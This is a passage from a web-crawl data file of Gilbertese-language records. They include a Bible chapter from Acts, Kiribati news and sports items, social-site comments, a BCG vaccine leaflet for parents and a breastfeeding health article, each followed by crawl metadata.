n taekini baika na riki nakoni boong aika na roko. 17E irira ma B'auro, ao e aki toki n takarua ni kaangai, \"Ana toro te Atua are Moan te Rietaata aomata aikai, ao a kaota te kawai ni kamaiu nako ira!\" 18Ao e kakaraoa aei ni boong aika bati n te aro are e a un i rouna B'auro. E rairaki, ao e kaangai nakon te tamnei are i nanon te ateiaine arei, \"I tuangko n aran Iesu Kristo b'a ko na oti nako mai rouna!\" Ao e a oti nako naba n te aoa arei. 19Ngke a noria ana toka b'a e a bua te baere a onimakinna i bukin rekeni kaub'aia, ao a taua B'auro ma Tira, ni katikiia nakon te tabo ni m'akete nakoia taan-tautaeka. 20A kateia i mataia taani motiki-taeka, ao a kaangai, \"A bati ni kakiriwea ara kaawa aomata aika I-Iutaia aikai, 21ao a reirei aaro aika aki riai iroura b'a ti na tauu, ke ti na karaoi, ngkai I-Rom ngaira.\" 22Ao a teirake aomata n ekianako nako; Ao taani motiki-taeka a raei aia kunnikai uakekei mai aoia, ao a tua b'a a na kataereaki. 23I mwini kaia n oreaki ae bati, ao a kaakiia i nanon te karabuuti, ao a tuanga te tia kawakinia buure b'a e na teiakiniia raoi; 24ao ngaia ngke e tuangaki arei, ao e kaakiia B'auro ma Tira n te ru ni kaikain are i nuuka, ao e karini waeia n te kai ni kabaewae. 25Ngke e a nukanibong ao a tataro B'auro ma Tira, ao a anene n neboa te Atua; ao a ongora aomata ake buure i rouia. 26Ao e a karina naba n roko m'aeiein te aba ae korakora, n te aro are e m'aeiei naba te tabo are e tei i aona te karabuuti; ao a bane n uki ngkekei naba mataroan te karabuuti, ao a b'ara kabaeaia buure ni kabaneia. 27Ngke e uti mani matuuna te tia kawakinia buure, ao ngke e noori mataroan te karabuuti b'a a uki, ao e buuta ana kabaang b'a e nang bakabureia, b'a e taku b'a a tia ni biri nako buure. 28Ma e kanenea b'anaana B'auro n taetae nakoina ni kaangai, \"Tai karaoa ae buakaka nako im, b'a ti bane ni mena ikai!\" 29Ao ngaia e weewete i bukin taura, ao e biri n rin n ruru ni maku, ao e katorobubua ni bobaraaki i matani B'auro ma Tira; 30ao e kairiia ni kaotinakoia ao e taku, \"Mm'aane, tera ae riai b'a N na karaoia b'a I aonga ni kamaiuaki?\" 31Ao ngaiia a taku, \"Ko na onimakina te UEA are Iesu, ao ko a kamaiuaki iai ma am utu.\" 32Ao a taekina ana taeka te Atua nakoina, ao nakoia naba kaain ana auti ni kabaneia. 33Ao e kaira B'auro ma Tira n aoan te tairiki naba anne, ao e teboki mwini kaiia; ao e a b'abetitoaki naba ngkekei ma kaain ana auti ni kabaneia. 34E kaira rake ngkanne B'auro ma Tira nakon ana auti, ao e anganiia kanaia. E kaonaki nanona n te kim'areirei i bukin onimakinan te Atua i rouna; ao ai aroia naba kaain ana utu. 35Ma ngke e a ngaina, ao a kanakoaki bureitiman irouia tani motiki-taeka, ao a kaangai nakoia, \"Kam na kanakoia aomata akekei.\" 36Ao te tia kawakinia buure e taekin taeka akanne nakoni B'auro, ni kaangai, \"A kanakomaia aia taeka taani motiki-taeka b'a kam na kainaomataki, ma ngaia ae kam na oti nako ao naako ma te rau.\" 37Ma e taku B'auro nakoia bureitiman, \"A kataereira i mataia aomata, n akea kabowian taekara, ao I-Rom ngaira. A kaakira i nanon te karabuuti, ao a nang kanakoira ngkai ni karaba kanakoara? E aki riai; ma a na bon nako mai ngaiia ni kaotinakoira.\" 38A tuangaki taani motikitaeka taeka akanne irouia bureitiman; ao ngke a ongo b'a I-Rom, ao a maku. 39A nako n raraoma nakoia, ao a kairiia nako man te karabuuti, ao a butiia b'a a na nako man aia kaawa. 40A oti nako ngkanne man te karabuuti, ao a nako n rin n ana auti Ruria; ao ngke a nooriia taari, ao a kaungai nanoia, ao a nako.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-30","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/16","date":"2017-07-21T13:09:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-30\/segments\/1500549423774.37\/warc\/CC-MAIN-20170721122327-20170721142327-00572.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":1144,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.421,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te-Ika\nMapper since: March 24, 2016\nFrom Colorado, I travel to many places gathering ground verification data and contributing to OSM. I am a part of Kaart and contribute under that source tag. I'm always looking to improve so please send me a message if you have any questions about what I have edited.\nKain Colorado, Ia mwananga nako taabo aika raroa ni karekea te koaua kain eti ma te atatai ibukin OSM. Ia bon kaina te krubu ae Kaart ao anga au buobuoki ma te taetae \"KG Ground Survey.\" N tai nako Ia kan rikirake n arou ae tamaroa, ngkanna iai kanoani waam kanakoa nakoiu ao N na butimwaea naba.","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.openstreetmap.org\/user\/Te-Ika","date":"2017-08-19T09:30:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886105334.20\/warc\/CC-MAIN-20170819085604-20170819105604-00165.warc.gz","language":"gil","language_score":0.9931286573,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 0.9931286573410034}","num_words":109,"character_repetition_ratio":0.027,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.202,"flagged_words_ratio":0.0,"lang_id_score":0.99,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E tabe ngkai ni kakatauraoi te tina n rabwata ni butibooro iaon Kiribati ae KIFA imwain kawaran aonaba.\nTe waaki ni kakatauraoi aei are e bon waaki man te katenibong are imwain ngkoananoa.\nKanoan te reirei nakoia biira n te bong anne bon te kauring iaon te tua teuana are a manga bon karioa taan takakaro are e aranaki bwa mauriia (safety). N te maroro iaon te itera aio ao ngkana ko safety ao ko tuuka mangem man kabaekeana irouia aiam ke mina e teke nte booro ma n taai aikai ao taan takakaro a manga kabongana te safety bwa kanga aia bwai n tiribooro ao n etina raoi ao e na bon riai n aki kakamwakuri baim.\nE maroroakinaki naba are ngkana ko tuuka te rin ni baim ao tiaki ngkoe te kouru ao ko na bon riai n anganaki te tuua are te kaotinakoaki ao e na karaoaki te oroboro ni katua nakon am kouru.\nN te reirei ngkanne aio ao a bon tii kaoaki biira ake a bon kona ni mwananga nako aonnaba n angareirei ao biira naba ae a bon taraaki bwa iai te onimakinaki irouia n aron uarereken tangiran te manging irouia.\nN te tai aei ao e a bon tia n roko ana buubutii te bootaki ni butibooro ma I Abaiang ao Marakei kainanoia taan kairiiri ma iaon Tarawa ibukin aia ibuobuooki man te tina n rabwata ni butibooro iaon Kiribati ae KIFA ke Kiribati Islands Footbal Association.\nЕсли Вы нашли ошибку в тексте, выделите ее и нажмите Shift + Enter или click here чтобы отправить ее нам.comments powered by HyperComments","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/kiribati.me\/2016\/05\/30\/kakatauraoi-ngkai-kifa-imwain-kawaran-aonnaba\/","date":"2017-09-24T01:11:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818689823.92\/warc\/CC-MAIN-20170924010628-20170924030628-00221.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":266,"character_repetition_ratio":0.056,"word_repetition_ratio":0.008,"special_characters_ratio":0.198,"stopwords_ratio":0.342,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mauri Talesau this article is the first I have heard of it and apparently it is reserach carried out by Korean company. So don't know a lot of details yet, but thinking it might be the acutal ripen nut. But really not sure at this stage. Regards Stacey\nyeh bro ur not wrong there. seems like forever since we last saw each other. i think its a bit too late to try and catch up with you on six kids. time has run out. it would be a pleasant surprise if you happened to turn up on my doorstep. hope you and family are all in good health and high spirits. my clan are all good and well and the weather here is nice and hot. thanks again for your comment and god bless.\nHey!! Kona kaunia ake bon nakoaiia anne...aree e makuri nte Banaba House. Konaki manga kaunun ko ongo???........\nAo are kona bon kakibaki ngke ma toare Bob, akea aia taeka kain KATTNA.\nMa koa bon kantaninga am ticket ba ena bon uaeremwe moa ana ba'i Bob.\nMa tia bon reitaki ngkana etia am tickt ni kiba.\nMoce mada, ao ko angan naba ara katekeraoi nakoia ake ana ukouke i USP.\nmauri uncle,i taku gai ba e kagaga rokom ikai nte banaban voice.E raraba te news aniwai,i still miss u guys.I saw hermans photo n hes growing in2 manhood n i guest he'll Bcome like you.\nI taku ba ia kan aki ooa ana maree tariu anne december,gkai i korea au mail haio ao 2 riki te bong ao ea teke nagin America irou eang ao tao te oki gkanne tao bn month aio ma next year.Anyway,give regards 2 my sis n bros back home n hope we will meet one day nte tai hae eaki kantanigaki from him.Tekeraoi ma am family.Tia boo n reken te tai ikanne\nmauri,shshsh gaia ko bn memena ikai???ko vara gkai gase???\nhope still fit n well healthy,da same here but the weather is my problem hahahah\nbn kanaia manne te ririga ao ikai akea te ririga e snowy.Na kataia n raoun nakoasi n au next visit if it well planned gkana e babaki te maiu mai irouna\nDekeraoi te waaki,give regards to da family 4 me,specially boys hahahah jokes\nmax.maio089@ [gmail.com or yahoo.com]\nMauri, eang i roroko naba iroia kara ngke i mena i tarawa beia ma ao anang marurung raoi....ao ngkai i tuai manga noria ba aura ngkai....ngai ngkai i mena i New Zealand ao kataninga a bon marurung raoi naba kaara i Tarawa.....eang ara karo ngkai a bon ioki,ma te ioki ni matang are a bon tiku i bon niroia hahaha....eang ngaira ngkai ti bon aki kona ni maninga taekan ara karo ba ti bon tangiria naba irarikin tinara....ao ngai i nang marurung ,ao ngkami kam uara?? i taku ba akea te kanganga iroumi ba e bon teimatoa te marurung ma iroun te Uea....koa manga kaongoraera rongo2n ikanne ngkana e reke am tai ker..ao tia boo moa ao tekeraoi ngkami iaknne\nMauri kam uara?????sshh i taku koaki kinaai ker...ngai natin motee..tarin maio..... koa angania kain am auti au kamauri ae taburinako...tao ma tekeraoi moa ngkami ikanne....manga ongora iroum mawan am tai..\nMOCE!!!!!","id":"","dump":"CC-MAIN-2017-43","url":"http:\/\/banabanvoice.ning.com\/profile\/TakesauTabore","date":"2017-10-17T11:17:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187821088.8\/warc\/CC-MAIN-20171017110249-20171017130249-00511.warc.gz","language":"gil","language_score":0.9846528172,"language_script":"Latn","minhash_cluster_size":29,"top_langs":"{\"gil_Latn_score\": 0.9846528172492981}","num_words":529,"character_repetition_ratio":0.02,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.155,"flagged_words_ratio":0.0,"lang_id_score":0.985,"perplexity_score":500.0,"cluster_detection":1} +{"text":"BCG Vaccine: Information for Parents - Kiribati (Gilbertese) version\nIbukiia merimeri ma ataei ake a kai reke irouia manin te TB\nTera te iti ae te BCG?\nTe BCG bon te iti are a anganaki ataei ake a kakai reke irouia manin te TB.\nTe iti ae te BCG e buoka karikirakean tautian rabwatan natim ni buakanii maninaoraki ake a kona n reke mai iai te kangenge ao n buokiia naba n tuuka reken aorakin te kangenge aika kakamaku nakoia.\nAkea boon te iti ae te BCG ibukiia ataei ake a bwaka aia ririki iaan 5 te ririki ao ake a kai reke irouia te TB.\nAntai ae e na riai n anganaki te bwainaoraki ke te iti ae te BCG?\nTe iti ae te Bacille Calmette- Guérin (BCG) e katauaki ibukiia ataei aika a bwaka aia ririki iaan 5 te ririki ao ni kai ewekaki nte TB.\nNatim e na kai ewekaki n te kangenge ao e riai n anganaki te bwainaoraki ke te iti ae te BCG n akea boona ngkana:\n- e na maeka n te auti ke ma ana utu ma te aomata ae iai irouna ngkai te TB ke ae e a tia n reke manin te TB (kangenge) irouna n taai aika nako.\n- iai temanna mairouia ana karo ke kain ana auti, ke taan tararuaia, ae a tia ni maeka nimaua te ririki n nako n te aba teuana inanon te maan ae onoua namwakaina ao te aba anne e korakora iai mwaitin te kangenge. namwakaina\n- e na maeka teniua namwakaina ke e maan riki (inanon aia moan nimaua n ririki) i aon te aba teuana are e korakora iai mwaitin te kangenge ao ni kai reke bobona ma naake iai irouia te aoraki ae te kangenge.\nAm neeti nte kawa ke am taokita ena tuangko ngkana e na kona n kai reke manin te kangenge iroun natim . Aikai aaba aika e korakora iai mwaitin te kangenge:\n- angiin aban Aberika\n- angiin aban Amerika Maiaki\n- Rutia ao aban te Soviet rimoa\n- mwakoron aban India ake a uarereke\n- Tiaina, n ikotaki ma Hong Kong; Taiwan (ROC)\n- Atia Maiaki Mainiku (tiaki Tingkaboa)\n- tabeua aban te Betebeke (ma aki reke aaba n aron te Aono ni Kuka, Niue, Tamoa, Tokerau ao Tonga).\nTera te kangenge (TB)?\n- Te kangenge bon te aoraki ae e ewewe. E kona ni karekea te kai kua, te bebekobeko, te mariri, ao te motiniike (uarereke ikem).\n- Angin te tai, te kangenge e roota te maamaa, ma e kona naba n rooti mwakoron te rabwata tabeua, n aron te rii, ri n toma ao kirini. E kona naba ni karekea te aoraki ae kakaiaki nakon te kaburoro ma riin te nuka.\n- E kona n ewe te kangenge mairoun temanna nakon temanna rinanon te bebekobeko, te babaware ke te mwatie.\n- Mwaitia aika a kangenge iaon Nu Tiiran e kaaniia 300 te aomata ni katoa ririki.\nNna kanga ni kamanoa natiu man te kangenge (TB)?\nKo kona n nikira natim bwa e na itinaki n itin te Bacille Calmette-Guérin (BCG). Te iti ae te BCG e buoka natim n kakorakora tautian rabwatana n totokoa ao ni buakana maninaorakin te kangenge.\nTe iti aio ena anganaki natim iaon anganibaina.\nNingai te kabanea n tamaroa n tai ae riai n itinaki iai natiu n te BCG?\n- E rang raoiroi bwa natim ena anganaki te iti aei tabebong imwin bungiakina ke imarenan te bong are bung iai ao onoua te namwakaina imwina. A kona ngkanne n itinaki ataei ake a bwaka iaan nimaua te ririki.\n- Ngkana natim ea riaon onoua te namwakaina, e na tuoaki n noraki ngkana e a tia n reke irouna maninaorakin te kangenge. N norakin mwin te tutuo aei, ao e a tibwa kona n itinaki ngkanne natim.\nNna kanga ni karekea te iti aio nakon natiu?\nKo kona n taetae nakon am neeti n am kawa, ke am tia kabung ke am taokita ni kabaea am tai ni kawaria. Ko kona naba n reitaki ma am kiriniki ke te onnaoraki ae ko kaan mangaia ao tuatua bwa ko na taetae ma te neti are tabena te iti ae te BCG.\nTaraa akun te iteraniba aei ibukin kabwarabwarana riki.\nTera ae e na riki imwin anganakin natiu te iti aei?\nKanganga n irekereke ma mwiin te iti aei a bon kabuta, ma e kuri kanganga reken kabuanibwai ke kanganga aika a bubura riki man te iti aei. Angiia ataei ake a itinaki nte BCG a kona n kinaka mwiin itinakia ao ngkana e mao ao ea tiku mwina kanga te mwaka ae uarereke.\n- I nanon 1–6 te wiki, e na bauraura te tabo are e itinaki.\n- I mwin 6–12 te wiki, e na manga kinaka mwin te tabo are e itinaki are e bauraura ngkoa. Ngkana e reke aei, rabunna n te kooti ao karekea rinnakon te ang nako nanona. Tai kamanenaa te buratita ae nimnim.\n- E kona n reke teniua te namakaina imwain maon te kinaka, ao ni kona n riki bwa te mwaka ae uarereke. Aei bon arona.\nOomwakara te iti aei ibukin totokoan te kangenge?\nE ngae ngke te iti aio e aki kona n tuka te maninaoraki are e karekea te TB, e bon kona n buoka te ataei n totokoa nakoina reken aorakin te TB riki tabeua aika a kakamaku.\nAbwakira ke maanra ana kamanomano te iti aei n totokoa te kangenge?\nE kuneaki imwin taian reirei ma kakae bwa te iti ae te BCG e nakon 15 te ririki manin ana kamanomano n totokoa reken aorakin te TB aika a kakamaku.","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/www.healthed.govt.nz\/node\/1129","date":"2017-10-22T00:40:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187824931.84\/warc\/CC-MAIN-20171022003552-20171022023552-00309.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":33,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":913,"character_repetition_ratio":0.072,"word_repetition_ratio":0.004,"special_characters_ratio":0.228,"stopwords_ratio":0.37,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by online editor.\nE a tia ni matoa ma iroun te ti bwaibwai n te Kiribati Updates bwa n te tI aei moa ao e na kona n ongoraeakinaki ana rongorongo iaon te internet n ana website ae kiribatiupdates.com.ki inanon boong aika te Moanibong, Katenibong ao Kanimabong koraki inanon te wiki.\nN titirrakinanan iroun KU reporter bwa tera aron ana nutibebwa are e maan ni maeu ao e aki naba manga print inanon te tai ae maen, ao e katerea n taekinna bwa iaan kanganga tabeua ake a rioan ana kona ao e karautaeka nakoia ana taan wareware n aei ma n te tai aio ao ana kona moa ni kabongana te website ana taan wareware ake a maan ma ngaia ao ake a boou naba.\nE na kataia ngkai KU ni manga kataia ni kanako rongorongo rinanon te website www.kiribatiupdates.com.ki ao ni butinwaai naba katanoata ake ana bon kona naba n toka n te website nakoia kaain te aonnaba inanon te tai teuana ma teuana.\nKanoan te nutibebwa KU ana bon manga bane n okiri aroia n toka n aron rongorongon te tautaeka, te takakaro, ao te reirei moa n raonaki ma am karaki aika a bane booureireia a ke ana kona n iriira am rongorongo ake ana katokaaki.\nIai te katautau bwa iaon kawaina naba te nutibebwa n otinko inaon te tai ae waekoa,","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/kiribatiupdates.com.ki\/2017\/09\/21\/e-nang-manga-maeu-kiribati-updates-moa-iaon-te-internet\/","date":"2017-10-18T14:41:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187822992.27\/warc\/CC-MAIN-20171018142658-20171018162658-00080.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":226,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.202,"stopwords_ratio":0.425,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"By Online editor.\nMauri,\nTe Taiwan Embassy, Taiwan Technical Mission ao Taiwan Medical Center i aon Kiribati a tabeaianga ntaai nako ibukin marurungin ma maiuraoin Te I-Kiribati. Ni moa man Te wiiki aio, Ao tinang katauraoi beeba ni katanoata iaon kabaeranti ma te kamarurung ao a bati riki. Aio are tina karaoia ni katoa wiiki. Kam na warekii beeba ni katanoata ake tina kanakoi n te nutibeeba ni katoa wiiki ao n iira te ukeuke ke te kaboo ae uarereke (quiz) are ena karaoaki imwiin 3 te namwakaina mangkai. Titiraki ana anaaki man beeba ni katanoata ake ti kaakanakoi ni katoa wiiki. Ane e kan ira buakon te kaboo aio ao kamwa Taiaoka ni karaoi bwaai aikai: (1) korea te quiz man te nutibeeba; (2) kataia kaekai titiraki n akea burena; (3) nikiria nte Embassy. Te Embassy ena kaotinakoi niiman ana tokanikai ma tein ana kanuanga ae teuana te kanuanga iaon temanna te aomata.\nKam bati n rabwa!\nANGAN NATIM TE MARURUNGIN MAN UAREREKENA:\nObama bon teteinimwane ae uarereke are ea tibwa bungiaki iroun tinana, Tinana ebon tu tutuo ibukin tiokana are e reke inanon bikoukouna (gestational), E bungiaki tetei aio ao eaki koro unana(prematurely) n 35 te wiki ma tinena ae 2300gm.ma e nakoraoi marurungina ibukina bwa e bwainaorakiaki. Taokita ao Neeti a bon kaunga bwa ena kammamaki.\nMOM: IARAWA N KAN KAMMAMA NATIU,ikona n kamirikia n aia miriki ataei?\nKOAKI!!\nM AN TE TABO ARE E TABE MA MARURUNGIA AOMATA ke( WHO) e katereterea bwa te kamamamma ngaia te amwarake ae te kabanea n bongana ke n tamaroa nakon te ataei ae ea tiba bungiaki ( 0-6months), Ao ena riaki n waekoa n kammammaki te ataei imwain koron 1 te hour imin bungiakina,\nbwa eaonga ranin te mmmamma ena buoka te ataei n karikirakea marurungina,ao man kamanoa nab te ataei man aoraki aika mwaiti ake ana kona n reke nakoina inanon rikirakena n aron te bekanako ao te numonia, aikai aoraki ake aki toki n reke nakoia ataei aika tibwa bungiaki n kabuta te aonnaba.\nRanin te mamma e tatauraoi n tainako ao ni koona n waekoa n karekeaki,ao ena koona n buoka aron tararuakin amwaraken te ataei bwa ena kona n karekea te marurung nakon rabwatana.\nAo irarikin anne ao te kamamma e bon angan naba ataei ae uarereke te kabwaia I bukin marurungin mauina.\nAtaei ake a roko n te ririki ae 18-20 ke iaona ake a mmama inanon uarerekeia ana bon mauraoi rikirakeia ao n kanganga rotakia n te marikarika ke ena riao tineia, ao ana bon aki koona naba waekoa n reke n te aoraki ae te tioka are type 2 inanon nab rikirakeia,ao n rikirake mauraoia ma wanawanaia. Ngaia enang kakawaki bwa kona kammama natim man moan bungiakina n karokoa teuana ana ririki ao n aki kabongana aia mriiki ataei ke te Sunshine Milk.\nAia miriki ataei e bon aki reke iai tautian te rabwata,Raoiroin te kammamma ibukin te Tina ao te ataei e raoiroi riki nakon aia miriki ataei, bwa gkana aia miriki eaki raoi katauraoaki,ao ean bon mwaiti kangaga ae ana reke maiai n aron kabonganan te ran ae eaki buro ke te bwainnamwarake ake a kaboganaki aki itiaki raoi ana koona n karekea te manraoki nakon bautan te miriki ao ena koona n agan te ataei te aoraki man te miriki are nima.\nMan reitakinakoan te kammamma nakoia ataei ena koona n kateimatoa rawatan ranin te mamma n n mwaiti,ma gkana aia miriki ataei koa mga kabongana ao n katoka te kammamma ena koona n waekoa n rotaki ranin te mamma ao kerikaki ana mwakuri ranin te mamma .\n(By Doctor Wang, Taiwan Medical Center, TEL: 28100#266)","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/kiribatiupdates.com.ki\/2017\/03\/14\/e-tabeaianga-taiwan-ibukin-marurungiia-kaain-kiribati\/","date":"2017-10-18T14:42:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187822992.27\/warc\/CC-MAIN-20171018142658-20171018162658-00116.warc.gz","language":"gil","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 1.0000097751617432}","num_words":596,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.206,"stopwords_ratio":0.322,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by Online editor.\nAi ningai ae e nang waaki iai te runga?\nE korakora ngkai te titiraki irouia taan takakaro n aekan takakaro nako n aron te butibooro, te nete, te batiketiboro, te oreano, te taberawawa ao a bati riki bwa ai ningai ae e nang waaki iai te runga kee te kabo imarenaia aba aika kakaokoro.\nN aron ae e bon tabangaki ao te runga e bon tao ririki bwa ngkana e boo n te ririki aei ao akea n te ririki are imwiina.\nTe kabanea n runga n takakaro are e waaki bon te ririki ae 2013, ao are e teimatoa te titiraki ma imwiin te tai anne bwa n ningai ngkanne te runga imwiina.\nN reitakin ngkanne Kiribati Updates ma te aobiti are tabena aio are bon MWYSA ao e mwaneweia Taburimai Tewaaki te aobitia man mwangan te aobiti aei are e tabe ma takakaro ao e taku bwa akea te runga n te ririki aei.\nTe runga e na waaki n te ririki ae e na roko.\n\"Ti taratara te ririki ae e na roko bwa ti tangiria bwa e nang bitaki aron takakaroia ara koraki nakon are e tamaroa riki ni kabotauaki ma taai aika a tia n nako\" e taku riki Taburimai nakon Kiribati Updates.\nE mwaneweia naba Taburimai bwa e na iai te mwananga nako aonnaba ni ibuobuooki iaon itera ni kataneiai, ma aei are ana wakinna ma taan rabakau.\nTeuana te iango bwa ana kaoaki taan kairiiri mai aban tinaniku bwa ana ibuobuooki nakoia kain aonnaba ao bon kain Tarawa.\nAo n anganaki aia tai ni kamwakura te reirei anne ao ma imwiin anne are e a nako naba aia kai\nN ana kabwarabwara Willie Uan ao e kamatata are n aron tuan te runga ao e na bon kanakoa ana katanoata te botaki n takakaro nakoia botaki n takakaro iaon aba bwa ana korea aia reta ni kaotia are a kan ira te kabo n te takakaro are a tauraoi iai kain abaia, ngkanne ngkana iai riki 5 n aba ae a kukurei naba n takakaro n te takakaro anne bwa tao te oreano ao kai are e a bwati nab ate oreano bwa takakaron te runga anne.\nNgkana e a tena te tai ngkanne ma te runga ao a karokoi araia aia taan takakaro.\nN aron ae e kakoaua Kiribati Updates ao te runga bon te bwai teuana ae e rangi ni kakukurei ao man tangiraoi I taningaia taan takakaro ao are e rangi ni korakora te titiraki bwa n ningai.\nE ongotao naba Kiribati Updates are a tia ngkoa n roko kai nana tiim ni boro kain Butaritari ibukin irakin te runga ma e rabwa te botaki n takakaro n te tai aei ngkai e a katerea are akea moa n te ririki aei bwa ait e ririki ae e na roko.\nNgaia are teimatoa kanimko ma Kiribati Updates bwa e na teimatoa ni kakaongoraeko rongorongon am takakaro aika ririki iaon Kiribati.","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/kiribatiupdates.com.ki\/2016\/05\/31\/e-nang-waaki-ningai-terunga\/","date":"2017-10-18T14:43:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187822992.27\/warc\/CC-MAIN-20171018142658-20171018162658-00143.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":491,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.211,"stopwords_ratio":0.44,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko kan ataaki ke ni kinaaki tiaki ti iaon Kiribati ikai ma n aban nako te aonaba ake a mena iai kaain Kiribati, ami koraki ke raraomi? Katokai iaon Kiribati Updates bwa ana ongora te koraki.\nIai am rekenibong ke am katekeraoi ma tamneina? katokai iaon te Kiribati Updates website aio bwa ana ongora ae mwaiti.\nIai naba am koraki ae motirawa ke kabuanibwai ao ko kan kaongoia am koraki ake iaon Kiribati n raonakima ake i NZ, Fiji, Aotiteria, USA, UK anywhere?\nE kan ataaki am bitineti ma bwaina nako? waekoa reitaki ma ngaira ibukin katokan am katanoata.\nBON MAN TI TE KATANOAATA ARE E NA KONA N UAROKOIKO NKOIA AM CUSTOMERS.\nReitaki a ngaira iaon ke ring 21063 ke reitaki ma ngaira n te reta nakon:\nKiribati Updates, P.O.Box 2, Bairiki Tarawa.\nke bon roko iroura i Tabonkabwauea i Bairiki.","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/kiribatiupdates.com.ki\/2014\/08\/18\/katanoata-katanoata-katanoata-i-kiribati-ao-te-aonaba\/","date":"2017-10-18T14:38:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187822992.27\/warc\/CC-MAIN-20171018142658-20171018162658-00159.warc.gz","language":"gil","language_score":1.0000016689,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000016689300537}","num_words":141,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.211,"stopwords_ratio":0.255,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A katauitaki bwa aana bane n toko waeria irua aikai kaain te Oceania Junior Table tennis chapionship iaon Tarawa n te marae r ei Bonriki n te bong aio te Moaniong 1\/5\/15.\nAio teuana te kabo n te aono are e na karaoki iaon Kiribati te moan tai.\nN aron ar ee kareka te Kiribati Updates ao e a tia ni buti te bebwa ni kaao nakon tabeua ana rabwata te tautaeka bwa ana kakoaua te kaukuki aio n te Betio\/Nnouti mwaneaba are i betio n te moan tairiki aei 7pm.Te tabo ni mwakuri are e na tabeakina aio n ana ietera te tautaeka abon te MWYSA ngkai te sport e bon mena naba iaana.\nE na managa reitananko kanoan te kaukuki aio Kiribati Updates inanon te bong aei.","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/kiribatiupdates.com.ki\/2015\/05\/11\/a-roko-taan-tabletennis-mai-abatera-nakotarawa\/","date":"2017-10-18T14:43:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187822992.27\/warc\/CC-MAIN-20171018142658-20171018162658-00479.warc.gz","language":"gil","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.000008463859558}","num_words":128,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.383,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by Online editor\nNi kaineti ma ana kanganga te roronrikirake n aron te kanganga n te moan taai n iein,kanganga aika a kairarai ataei ngkana a manga iein tanaia ke tamaia ao riki kabonganan te manging irouia ataeineine ma ataeinimwaane.\nE manenaki karaoan te birim aio iroun UN-Women man te karikirake are e tabe ma katokan te iowawa nakoia aine ao ataei. Ao iai ngkai te birim are e aki ko na ni bua bwa e a kakaokioka naba te rongorongo aio ao ni ko na ni kamaunanakoa te ioawa nakoia ataei ao aine.\nIaon naba bibitakin kanoan te bong, te moantaai ni bikoukou irouia ataeinaine aika te bwi tabun te ririki , karaoan te mwakuri ni ioawa n te mweenga, kaiiroroakiia ataei ibukin te kareke tianti, 